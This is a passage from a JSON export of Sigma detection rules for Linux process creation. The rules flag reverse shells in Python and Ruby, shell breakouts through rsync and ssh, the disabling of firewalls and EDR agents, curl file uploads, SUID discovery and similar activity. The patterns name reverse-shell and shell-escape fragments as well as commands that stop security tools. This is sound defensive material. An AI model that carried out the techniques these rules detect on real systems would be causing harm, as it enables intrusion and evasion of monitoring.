-(W|R)\\s?(\\s|\"|')([0-9a-fA-F]{2}\\s?){2,20}(\\s|\"|')\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml",
"content": "title: Connection Proxy\nid: 72f4ab3f-787d-495d-a55d-68c2ff46cf4c\nstatus: test\ndescription: Detects setting proxy configuration\nauthor: Ömer Günal\ndate: 2020-06-17\nmodified: 2022-10-05\ntags:\n - attack.defense-evasion\n - attack.command-and-control\n - attack.t1090\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n CommandLine|contains:\n - 'http_proxy='\n - 'https_proxy='\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_pua_trufflehog.yml",
"content": "title: PUA - TruffleHog Execution - Linux\nid: d7a650c4-226c-451e-948f-cc490db506aa\nrelated:\n - id: 44030449-b0df-4c94-aae1-502359ab28ee\n type: similar\nstatus: experimental\ndescription: |\n Detects execution of TruffleHog, a tool used to search for secrets in different platforms like Git, Jira, Slack, SharePoint, etc. that could be used maliciously.\n While it is a legitimate tool, intended for use in CI pipelines and security assessments,\n It was observed in the Shai-Hulud malware campaign targeting npm packages to steal sensitive information.\nreferences:\n - https://github.com/trufflesecurity/trufflehog\n - https://www.getsafety.com/blog-posts/shai-hulud-npm-attack\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\ndate: 2025-09-24\ntags:\n - attack.discovery\n - attack.credential-access\n - attack.t1083\n - attack.t1552.001\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith: '/trufflehog'\n selection_cli_platform:\n CommandLine|contains:\n - ' docker --image '\n - ' Git '\n - ' GitHub '\n - ' Jira '\n - ' Slack '\n - ' Confluence '\n - ' SharePoint '\n - ' s3 '\n - ' gcs '\n selection_cli_verified:\n CommandLine|contains: ' --results=verified'\n condition: selection_img or all of selection_cli_*\nfalsepositives:\n - Legitimate use of TruffleHog by security teams or developers.\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_python_http_server_execution.yml",
"content": "title: Python WebServer Execution - Linux\nid: 3f0f5957-04f8-4792-ad89-192b0303bde6\nstatus: experimental\ndescription: |\n Detects the execution of Python web servers via command line interface (CLI).\n After gaining access to target systems, adversaries may use Python's built-in HTTP server modules to quickly establish a web server without requiring additional software.\n This technique is commonly used in post-exploitation scenarios as it provides a simple method for transferring files between the compromised host and attacker-controlled systems.\nreferences:\n - https://www.atomicredteam.io/atomic-red-team/atomics/T1048.003#atomic-test-8---python3-httpserver\n - https://docs.python.org/3/library/http.server.html\n - https://docs.python.org/2/library/simplehttpserver.html\nauthor: Mohamed LAKRI\ndate: 2025-10-17\ntags:\n - attack.exfiltration\n - attack.t1048.003\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection_img:\n - Image|endswith:\n - '/python'\n - '/python2'\n - '/python3'\n - Image|contains:\n - '/python2.' # python image is always of the form ../python3.10; ../python is just a symlink\n - '/python3.'\n selection_module:\n CommandLine|contains:\n - 'http.server'\n - 'SimpleHTTPServer'\n condition: all of selection_*\nfalsepositives:\n - Testing or development activity\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_python_pty_spawn.yml",
"content": "title: Python Spawning Pretty TTY Via PTY Module\nid: c4042d54-110d-45dd-a0e1-05c47822c937\nrelated:\n - id: 32e62bc7-3de0-4bb1-90af-532978fe42c0\n type: similar\nstatus: test\ndescription: |\n Detects a python process calling to the PTY module in order to spawn a pretty tty which could be indicative of potential reverse shell activity.\nreferences:\n - https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/\nauthor: Nextron Systems\ndate: 2022-06-03\nmodified: 2024-11-04\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n - Image|endswith:\n - '/python'\n - '/python2'\n - '/python3'\n - Image|contains:\n - '/python2.' # python image is always of the form ../python3.10; ../python is just a symlink\n - '/python3.'\n selection_cli_import:\n CommandLine|contains:\n - 'import pty'\n - 'from pty '\n selection_cli_spawn:\n CommandLine|contains: 'spawn'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_python_reverse_shell.yml",
"content": "title: Python Reverse Shell Execution Via PTY And Socket Modules\nid: 32e62bc7-3de0-4bb1-90af-532978fe42c0\nrelated:\n - id: c4042d54-110d-45dd-a0e1-05c47822c937\n type: similar\nstatus: test\ndescription: |\n Detects the execution of python with calls to the socket and pty module in order to connect and spawn a potential reverse shell.\nreferences:\n - https://www.revshells.com/\nauthor: '@d4ns4n_, Nasreddine Bencherchali (Nextron Systems)'\ndate: 2023-04-24\nmodified: 2024-11-04\ntags:\n - attack.execution\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|contains: 'python'\n CommandLine|contains|all:\n - ' -c '\n - 'import'\n - 'pty'\n - 'socket'\n - 'spawn'\n - '.connect'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_python_shell_os_system.yml",
"content": "title: Inline Python Execution - Spawn Shell Via OS System Library\nid: 2d2f44ff-4611-4778-a8fc-323a0e9850cc\nstatus: test\ndescription: |\n Detects execution of inline Python code via the \"-c\" in order to call the \"system\" function from the \"os\" library, and spawn a shell.\nreferences:\n - https://gtfobins.github.io/gtfobins/python/#shell\nauthor: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)\ndate: 2024-09-02\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n - Image|endswith:\n - '/python'\n - '/python2'\n - '/python3'\n - Image|contains:\n - '/python2.' # python image is always of the form ../python3.10; ../python is just a symlink\n - '/python3.'\n selection_cli:\n CommandLine|contains|all:\n - ' -c '\n - 'os.system('\n CommandLine|contains:\n - '/bin/bash'\n - '/bin/dash'\n - '/bin/fish'\n - '/bin/sh'\n - '/bin/zsh'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_remote_access_tools_teamviewer_incoming_connection.yml",
"content": "title: Remote Access Tool - Team Viewer Session Started On Linux Host\nid: 1f6b8cd4-3e60-47cc-b282-5aa1cbc9182d\nrelated:\n - id: ab70c354-d9ac-4e11-bbb6-ec8e3b153357\n type: similar\n - id: f459ccb4-9805-41ea-b5b2-55e279e2424a\n type: similar\nstatus: test\ndescription: |\n Detects the command line executed when TeamViewer starts a session started by a remote host.\n Once a connection has been started, an investigator can verify the connection details by viewing the \"incoming_connections.txt\" log file in the TeamViewer folder.\nreferences:\n - Internal Research\nauthor: Josh Nickels, Qi Nan\ndate: 2024-03-11\ntags:\n - attack.persistence\n - attack.initial-access\n - attack.t1133\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n ParentImage|endswith: '/TeamViewer_Service'\n Image|endswith: '/TeamViewer_Desktop'\n CommandLine|endswith: '/TeamViewer_Desktop --IPCport 5939 --Module 1'\n condition: selection\nfalsepositives:\n - Legitimate usage of TeamViewer\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_remote_system_discovery.yml",
"content": "title: Linux Remote System Discovery\nid: 11063ec2-de63-4153-935e-b1a8b9e616f1\nstatus: test\ndescription: Detects the enumeration of other remote systems.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md\nauthor: Alejandro Ortuno, oscd.community\ndate: 2020-10-22\nmodified: 2021-11-27\ntags:\n - attack.discovery\n - attack.t1018\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_1:\n Image|endswith: '/arp'\n CommandLine|contains: '-a'\n selection_2:\n Image|endswith: '/ping'\n CommandLine|contains:\n - ' 10.' # 10.0.0.0/8\n - ' 192.168.' # 192.168.0.0/16\n - ' 172.16.' # 172.16.0.0/12\n - ' 172.17.'\n - ' 172.18.'\n - ' 172.19.'\n - ' 172.20.'\n - ' 172.21.'\n - ' 172.22.'\n - ' 172.23.'\n - ' 172.24.'\n - ' 172.25.'\n - ' 172.26.'\n - ' 172.27.'\n - ' 172.28.'\n - ' 172.29.'\n - ' 172.30.'\n - ' 172.31.'\n - ' 127.' # 127.0.0.0/8\n - ' 169.254.' # 169.254.0.0/16\n condition: 1 of selection*\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_remove_package.yml",
"content": "title: Linux Package Uninstall\nid: 95d61234-7f56-465c-6f2d-b562c6fedbc4\nstatus: test\ndescription: Detects linux package removal using builtin tools such as \"yum\", \"apt\", \"apt-get\" or \"dpkg\".\nreferences:\n - https://sysdig.com/blog/mitre-defense-evasion-falco\n - https://www.tutorialspoint.com/how-to-install-a-software-on-linux-using-yum-command\n - https://linuxhint.com/uninstall_yum_package/\n - https://linuxhint.com/uninstall-debian-packages/\nauthor: Tuan Le (NCSGroup), Nasreddine Bencherchali (Nextron Systems)\ndate: 2023-03-09\ntags:\n - attack.defense-evasion\n - attack.t1070\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection_yum:\n Image|endswith: '/yum'\n CommandLine|contains:\n - 'erase'\n - 'remove'\n selection_apt:\n Image|endswith:\n - '/apt'\n - '/apt-get'\n CommandLine|contains:\n - 'remove'\n - 'purge'\n selection_dpkg:\n Image|endswith: '/dpkg'\n CommandLine|contains:\n - '--remove '\n - ' -r '\n selection_rpm:\n Image|endswith: '/rpm'\n CommandLine|contains: ' -e '\n condition: 1 of selection_*\nfalsepositives:\n - Administrator or administrator scripts might delete packages for several reasons (debugging, troubleshooting).\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_rsync_shell_execution.yml",
"content": "title: Shell Execution via Rsync - Linux\nid: e2326866-609f-4015-aea9-7ec634e8aa04\nstatus: experimental\ndescription: |\n Detects the use of the \"rsync\" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\nreferences:\n - https://gtfobins.github.io/gtfobins/rsync/#shell\nauthor: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.), Florian Roth\ndate: 2024-09-02\nmodified: 2025-01-18\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith:\n - '/rsync'\n - '/rsyncd'\n CommandLine|contains: ' -e '\n selection_cli:\n CommandLine|contains:\n - '/ash '\n - '/bash '\n - '/dash '\n - '/csh '\n - '/sh '\n - '/zsh '\n - '/tcsh '\n - '/ksh '\n - \"'ash \"\n - \"'bash \"\n - \"'dash \"\n - \"'csh \"\n - \"'sh \"\n - \"'zsh \"\n - \"'tcsh \"\n - \"'ksh \"\n condition: all of selection_*\nfalsepositives:\n - Legitimate cases in which \"rsync\" is used to execute a shell\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_rsync_shell_spawn.yml",
"content": "title: Suspicious Invocation of Shell via Rsync\nid: 297241f3-8108-4b3a-8c15-2dda9f844594\nstatus: experimental\ndescription: |\n Detects the execution of a shell as sub process of \"rsync\" without the expected command line flag \"-e\" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.\nreferences:\n - https://sysdig.com/blog/detecting-and-mitigating-cve-2024-12084-rsync-remote-code-execution/\n - https://gist.github.com/Neo23x0/a20436375a1e26524931dd8ea1a3af10\nauthor: Florian Roth\ndate: 2025-01-18\ntags:\n - attack.execution\n - attack.t1059\n - attack.t1203\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n ParentImage|endswith:\n - '/rsync'\n - '/rsyncd'\n Image|endswith:\n - '/ash'\n - '/bash'\n - '/csh'\n - '/dash'\n - '/ksh'\n - '/sh'\n - '/tcsh'\n - '/zsh'\n filter_main_expected:\n CommandLine|contains: ' -e '\n condition: selection and not 1 of filter_main_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_ruby_reverse_shell.yml",
"content": "title: Potential Ruby Reverse Shell\nid: b8bdac18-c06e-4016-ac30-221553e74f59\nstatus: test\ndescription: Detects execution of ruby with the \"-e\" flag and calls to \"socket\" related functions. This could be an indication of a potential attempt to setup a reverse shell\nreferences:\n - https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet\n - https://www.revshells.com/\nauthor: '@d4ns4n_'\ndate: 2023-04-07\ntags:\n - attack.execution\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|contains: 'ruby'\n CommandLine|contains|all:\n - ' -e'\n - 'rsocket'\n - 'TCPSocket'\n CommandLine|contains:\n - ' ash'\n - ' bash'\n - ' bsh'\n - ' csh'\n - ' ksh'\n - ' pdksh'\n - ' sh'\n - ' tcsh'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_schedule_task_job_cron.yml",
"content": "title: Scheduled Cron Task/Job - Linux\nid: 6b14bac8-3e3a-4324-8109-42f0546a347f\nstatus: test\ndescription: Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md\nauthor: Alejandro Ortuno, oscd.community\ndate: 2020-10-06\nmodified: 2022-11-27\ntags:\n - attack.execution\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1053.003\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: 'crontab'\n CommandLine|contains: '/tmp/'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_security_software_discovery.yml",
"content": "title: Security Software Discovery - Linux\nid: c9d8b7fd-78e4-44fe-88f6-599135d46d60\nstatus: test\ndescription: Detects usage of system utilities (only grep and egrep for now) to discover security software discovery\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md\nauthor: Daniil Yugoslavskiy, oscd.community\ndate: 2020-10-19\nmodified: 2022-11-27\ntags:\n - attack.discovery\n - attack.t1518.001\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith:\n # You can add more grep variations such as fgrep, rgrep...etc\n - '/grep'\n - '/egrep'\n CommandLine|contains:\n - 'nessusd' # nessus vulnerability scanner\n - 'td-agent' # fluentd log shipper\n - 'packetbeat' # elastic network logger/shipper\n - 'filebeat' # elastic log file shipper\n - 'auditbeat' # elastic auditing agent/log shipper\n - 'osqueryd' # facebook osquery\n - 'cbagentd' # carbon black\n - 'falcond' # crowdstrike falcon\n condition: selection\nfalsepositives:\n - Legitimate activities\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_security_tools_disabling.yml",
"content": "title: Disabling Security Tools\nid: e3a8a052-111f-4606-9aee-f28ebeb76776\nstatus: test\ndescription: Detects disabling security tools\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md\nauthor: Ömer Günal, Alejandro Ortuno, oscd.community\ndate: 2020-06-17\nmodified: 2022-10-09\ntags:\n - attack.defense-evasion\n - attack.t1562.004\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_iptables_1:\n Image|endswith: '/service'\n CommandLine|contains|all:\n - 'iptables'\n - 'stop'\n selection_iptables_2:\n Image|endswith: '/service'\n CommandLine|contains|all:\n - 'ip6tables'\n - 'stop'\n selection_iptables_3:\n Image|endswith: '/chkconfig'\n CommandLine|contains|all:\n - 'iptables'\n - 'stop'\n selection_iptables_4:\n Image|endswith: '/chkconfig'\n CommandLine|contains|all:\n - 'ip6tables'\n - 'stop'\n selection_firewall_1:\n Image|endswith: '/systemctl'\n CommandLine|contains|all:\n - 'firewalld'\n - 'stop'\n selection_firewall_2:\n Image|endswith: '/systemctl'\n CommandLine|contains|all:\n - 'firewalld'\n - 'disable'\n selection_carbonblack_1:\n Image|endswith: '/service'\n CommandLine|contains|all:\n - 'cbdaemon'\n - 'stop'\n selection_carbonblack_2:\n Image|endswith: '/chkconfig'\n CommandLine|contains|all:\n - 'cbdaemon'\n - 'off'\n selection_carbonblack_3:\n Image|endswith: '/systemctl'\n CommandLine|contains|all:\n - 'cbdaemon'\n - 'stop'\n selection_carbonblack_4:\n Image|endswith: '/systemctl'\n CommandLine|contains|all:\n - 'cbdaemon'\n - 'disable'\n selection_selinux:\n Image|endswith: '/setenforce'\n CommandLine|contains: '0'\n selection_crowdstrike_1:\n Image|endswith: '/systemctl'\n CommandLine|contains|all:\n - 'stop'\n - 'falcon-sensor'\n selection_crowdstrike_2:\n Image|endswith: '/systemctl'\n CommandLine|contains|all:\n - 'disable'\n - 'falcon-sensor'\n condition: 1 of selection*\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_services_stop_and_disable.yml",
"content": "title: Disable Or Stop Services\nid: de25eeb8-3655-4643-ac3a-b662d3f26b6b\nstatus: test\ndescription: Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services\nreferences:\n - https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-09-15\ntags:\n - attack.defense-evasion\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith:\n - '/service'\n - '/systemctl'\n - '/chkconfig'\n CommandLine|contains:\n - 'stop'\n - 'disable'\n condition: selection\nfalsepositives:\n - Legitimate administration activities\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_setgid_setuid.yml",
"content": "title: Setuid and Setgid\nid: c21c4eaa-ba2e-419a-92b2-8371703cbe21\nstatus: test\ndescription: Detects suspicious change of file privileges with chown and chmod commands\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md\nauthor: Ömer Günal\ndate: 2020-06-16\nmodified: 2022-10-05\ntags:\n - attack.defense-evasion\n - attack.persistence\n - attack.privilege-escalation\n - attack.t1548.001\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection_root:\n CommandLine|contains: 'chown root'\n selection_perm:\n CommandLine|contains:\n - ' chmod u+s'\n - ' chmod g+s'\n condition: all of selection_*\nfalsepositives:\n - Legitimate administration activities\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_ssh_shell_execution.yml",
"content": "title: Shell Invocation Via Ssh - Linux\nid: 8737b7f6-8df3-4bb7-b1da-06019b99b687\nstatus: test\ndescription: |\n Detects the use of the \"ssh\" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments.\nreferences:\n - https://gtfobins.github.io/gtfobins/ssh/\n - https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html\nauthor: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)\ndate: 2024-08-29\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith: '/ssh'\n CommandLine|contains:\n - 'ProxyCommand=;'\n - 'permitlocalcommand=yes'\n - 'localhost'\n selection_cli:\n CommandLine|contains:\n - '/bin/bash'\n - '/bin/dash'\n - '/bin/fish'\n - '/bin/sh'\n - '/bin/zsh'\n - 'sh 0<&2 1>&2'\n - 'sh 1>&2 0<&2'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_ssm_agent_abuse.yml",
"content": "title: Potential Linux Amazon SSM Agent Hijacking\nid: f9b3edc5-3322-4fc7-8aa3-245d646cc4b7\nstatus: test\ndescription: Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.\nreferences:\n - https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan\n - https://www.bleepingcomputer.com/news/security/amazons-aws-ssm-agent-can-be-used-as-post-exploitation-rat-malware/\n - https://www.helpnetsecurity.com/2023/08/02/aws-instances-attackers-access/\nauthor: Muhammad Faisal\ndate: 2023-08-03\ntags:\n - attack.command-and-control\n - attack.persistence\n - attack.t1219.002\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/amazon-ssm-agent'\n CommandLine|contains|all:\n - '-register '\n - '-code '\n - '-id '\n - '-region '\n condition: selection\nfalsepositives:\n - Legitimate activity of system administrators\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_chmod_directories.yml",
"content": "title: Chmod Suspicious Directory\nid: 6419afd1-3742-47a5-a7e6-b50386cd15f8\nstatus: test\ndescription: Detects chmod targeting files in abnormal directory paths.\nreferences:\n - https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md\nauthor: 'Christopher Peacock @SecurePeacock, SCYTHE @scythe_io'\ndate: 2022-06-03\ntags:\n - attack.defense-evasion\n - attack.t1222.002\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|endswith: '/chmod'\n CommandLine|contains:\n - '/tmp/'\n - '/.Library/'\n - '/etc/'\n - '/opt/'\n condition: selection\nfalsepositives:\n - Admin changing file permissions.\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_container_residence_discovery.yml",
"content": "title: Container Residence Discovery Via Proc Virtual FS\nid: 746c86fb-ccda-4816-8997-01386263acc4\nstatus: test\ndescription: Detects potential container discovery via listing of certain kernel features in the \"/proc\" virtual filesystem\nreferences:\n - https://blog.skyplabs.net/posts/container-detection/\n - https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker\ntags:\n - attack.discovery\n - attack.t1082\nauthor: Seth Hanford\ndate: 2023-08-23\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_tools:\n Image|endswith:\n - 'awk'\n - '/cat'\n - 'grep'\n - '/head'\n - '/less'\n - '/more'\n - '/nl'\n - '/tail'\n selection_procfs_kthreadd: # outside containers, PID 2 == kthreadd\n CommandLine|contains: '/proc/2/'\n selection_procfs_target:\n CommandLine|contains: '/proc/'\n CommandLine|endswith:\n - '/cgroup' # cgroups end in ':/' outside containers\n - '/sched' # PID mismatch when run in containers\n condition: selection_tools and 1 of selection_procfs_*\nfalsepositives:\n - Legitimate system administrator usage of these commands\n - Some container tools or deployments may use these techniques natively to determine how they proceed with execution, and will need to be filtered\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_curl_fileupload.yml",
"content": "title: Suspicious Curl File Upload - Linux\nid: 00b90cc1-17ec-402c-96ad-3a8117d7a582\nrelated:\n - id: 00bca14a-df4e-4649-9054-3f2aa676bc04\n type: derived\nstatus: test\ndescription: Detects a suspicious curl process start the adds a file to a web request\nreferences:\n - https://twitter.com/d1r4c/status/1279042657508081664\n - https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file\n - https://curl.se/docs/manpage.html\n - https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html\nauthor: Nasreddine Bencherchali (Nextron Systems), Cedric MAURUGEON (Update)\ndate: 2022-09-15\nmodified: 2023-05-02\ntags:\n - attack.exfiltration\n - attack.command-and-control\n - attack.t1567\n - attack.t1105\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection_img:\n Image|endswith: '/curl'\n selection_cli:\n - CommandLine|contains:\n - ' --form' # Also covers the \"--form-string\"\n - ' --upload-file '\n - ' --data '\n - ' --data-' # For flags like: \"--data-ascii\", \"--data-binary\", \"--data-raw\", \"--data-urlencode\"\n - CommandLine|re: '\\s-[FTd]\\s' # We use regex to ensure a case sensitive argument detection\n filter_optional_localhost:\n CommandLine|contains:\n - '://localhost'\n - '://127.0.0.1'\n condition: all of selection_* and not 1 of filter_optional_*\nfalsepositives:\n - Scripts created by developers and admins\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_curl_useragent.yml",
"content": "title: Suspicious Curl Change User Agents - Linux\nid: b86d356d-6093-443d-971c-9b07db583c68\nrelated:\n - id: 3286d37a-00fd-41c2-a624-a672dcd34e60\n type: derived\nstatus: test\ndescription: Detects a suspicious curl process start on linux with set useragent options\nreferences:\n - https://curl.se/docs/manpage.html\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-09-15\ntags:\n - attack.command-and-control\n - attack.t1071.001\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/curl'\n CommandLine|contains:\n - ' -A '\n - ' --user-agent '\n condition: selection\nfalsepositives:\n - Scripts created by developers and admins\n - Administrative activity\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_dockerenv_recon.yml",
"content": "title: Docker Container Discovery Via Dockerenv Listing\nid: 11701de9-d5a5-44aa-8238-84252f131895\nstatus: test\ndescription: Detects listing or file reading of \".dockerenv\" which can be a sing of potential container discovery\nreferences:\n - https://blog.skyplabs.net/posts/container-detection/\n - https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker\ntags:\n - attack.discovery\n - attack.t1082\nauthor: Seth Hanford\ndate: 2023-08-23\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith:\n # Note: add additional tools and utilities to increase coverage\n - '/cat'\n - '/dir'\n - '/find'\n - '/ls'\n - '/stat'\n - '/test'\n - 'grep'\n CommandLine|endswith: '.dockerenv'\n condition: selection\nfalsepositives:\n - Legitimate system administrator usage of these commands\n - Some container tools or deployments may use these techniques natively to determine how they proceed with execution, and will need to be filtered\nlevel: low\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_execution_tmp_folder.yml",
"content": "title: Potentially Suspicious Execution From Tmp Folder\nid: 312b42b1-bded-4441-8b58-163a3af58775\nstatus: test\ndescription: Detects a potentially suspicious execution of a process located in the '/tmp/' folder\nreferences:\n - https://blogs.jpcert.or.jp/en/2023/05/gobrat.html\n - https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/\n - https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection\n - https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection\nauthor: Joseliyo Sanchez, @Joseliyo_Jstnk\ndate: 2023-06-02\nmodified: 2025-08-05\ntags:\n - attack.defense-evasion\n - attack.t1036\nlogsource:\n product: linux\n category: process_creation\ndetection:\n selection:\n Image|startswith: '/tmp/'\n filter_optional_nextcloud:\n Image|endswith: '/usr/bin/nextcloud'\n condition: selection and not 1 of filter_optional_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_find_execution.yml",
"content": "title: Potential Discovery Activity Using Find - Linux\nid: 8344c0e5-5783-47cc-9cf9-a0f7fd03e6cf\nrelated:\n - id: 85de3a19-b675-4a51-bfc6-b11a5186c971\n type: similar\nstatus: test\ndescription: Detects usage of \"find\" binary in a suspicious manner to perform discovery\nreferences:\n - https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-12-28\ntags:\n - attack.discovery\n - attack.t1083\nlogsource:\n category: process_creation\n product: linux\ndetection:\n selection:\n Image|endswith: '/find'\n CommandLine|contains:\n - '-perm -4000'\n - '-perm -2000'\n - '-perm 0777'\n - '-perm -222'\n - '-perm -o w'\n - '-perm -o x'\n - '-perm -u=s'\n - '-perm -g=s'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "rules/linux/process_creation/proc_creation_lnx_susp_git_clone.yml",
